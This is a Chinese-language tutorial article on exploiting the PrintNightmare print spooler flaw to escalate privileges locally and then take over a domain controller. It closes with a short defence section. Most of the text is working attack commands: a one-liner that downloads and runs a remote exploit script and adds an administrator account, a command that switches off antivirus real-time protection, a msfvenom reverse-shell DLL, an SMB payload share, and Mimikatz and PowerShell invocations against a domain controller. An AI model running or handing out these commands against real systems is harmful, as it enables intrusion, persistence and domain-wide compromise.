从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析

📅 2026/7/16 23:28:35 👁️ 阅读次数 📝 编程学习
从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析

1. PrintNightmare漏洞背景与原理剖析

Windows打印服务(Print Spooler)是操作系统中负责管理打印任务的核心组件,自Windows NT时代就存在于系统中。2021年曝光的CVE-2021-1675漏洞之所以被称为"PrintNightmare",是因为它允许攻击者通过远程代码执行(RCE)完全控制系统。这个漏洞的本质在于驱动程序安装验证机制的缺失——攻击者可以绕过安全校验,强制加载恶意驱动程序。

实际测试中发现,当攻击者调用RpcAddPrinterDriverExAPI时,通过特定参数组合(如设置APD_INSTALL_WARNED_DRIVER标志)可以跳过数字签名验证。更危险的是,利用SMB协议共享恶意DLL时,系统会自动以SYSTEM权限加载该文件。我在复现过程中注意到,即使目标系统启用了UAC保护,这个漏洞依然有效。

2. 本地提权实战操作指南

2.1 环境准备与检测

首先需要确认目标系统的打印服务状态。在CMD中执行:

sc query spooler

如果服务未运行,可通过以下命令启动:

net start spooler

推荐使用PowerShell脚本进行快速检测:

$service = Get-Service -Name Spooler if($service.Status -ne 'Running') { Write-Warning "Print Spooler未运行!" } else { Write-Host "[+] 存在漏洞的服务正在运行" -ForegroundColor Green }

2.2 PowerShell自动化利用

最流行的利用脚本是Caleb Stewart开发的版本:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1') Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"

这个脚本会自动完成以下操作:

  1. 通过RPC连接打印服务
  2. 上传恶意驱动程序(默认使用内存中的payload)
  3. 创建具有管理员权限的新用户

我在Windows 10 20H2上测试时发现,如果目标启用了Windows Defender,需要先禁用实时防护:

Set-MpPreference -DisableRealtimeMonitoring $true

3. 横向移动与域控攻陷

3.1 通过SMB投递恶意载荷

当获得域成员权限后,可以针对域控制器发起攻击。首先准备一个反向Shell的DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll

然后搭建SMB共享(建议使用Impacket工具包):

impacket-smbserver share /tmp -smb2support

3.2 利用Mimikatz模块攻击

Gentil Kiwi开发的Mimikatz特别适合域环境攻击:

mimikatz# misc::printnightmare /server:dc01 /library:\\192.168.1.100\share\evil.dll

这个命令会:

  1. 通过RPC连接域控的打印服务
  2. 强制加载共享目录中的DLL
  3. 在SYSTEM上下文执行代码

实测中发现,如果遇到RPC_S_ACCESS_DENIED错误,可以尝试添加域管理员凭据:

$cred = Get-Credential Invoke-Nightmare -RemoteHost "dc01" -DriverPath "\\192.168.1.100\share\payload.dll" -Credential $cred

4. 防御措施与缓解方案

4.1 紧急处置方案

最直接的缓解方法是禁用打印服务:

Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled

对于域环境,可以通过组策略统一配置:

计算机配置 > 管理模板 > 打印机 > 不允许安装使用内核模式驱动程序的打印机

4.2 长期防护建议

微软官方补丁应优先安装,但需要注意:

  • KB5004945(2021年7月补丁)最初存在绕过问题
  • 必须同时安装KB5005565和KB5005566才能完全修复

企业环境还应实施:

  1. 网络分段,限制SMB协议的访问范围
  2. 启用LSA保护防止凭据转储
  3. 部署EDR解决方案监控可疑的打印服务调用

在多次红队演练中,我们发现及时更新系统补丁的组织能够有效阻断这类攻击。而对于必须使用打印服务的企业,建议部署专用的打印服务器,并将其与核心域控隔离。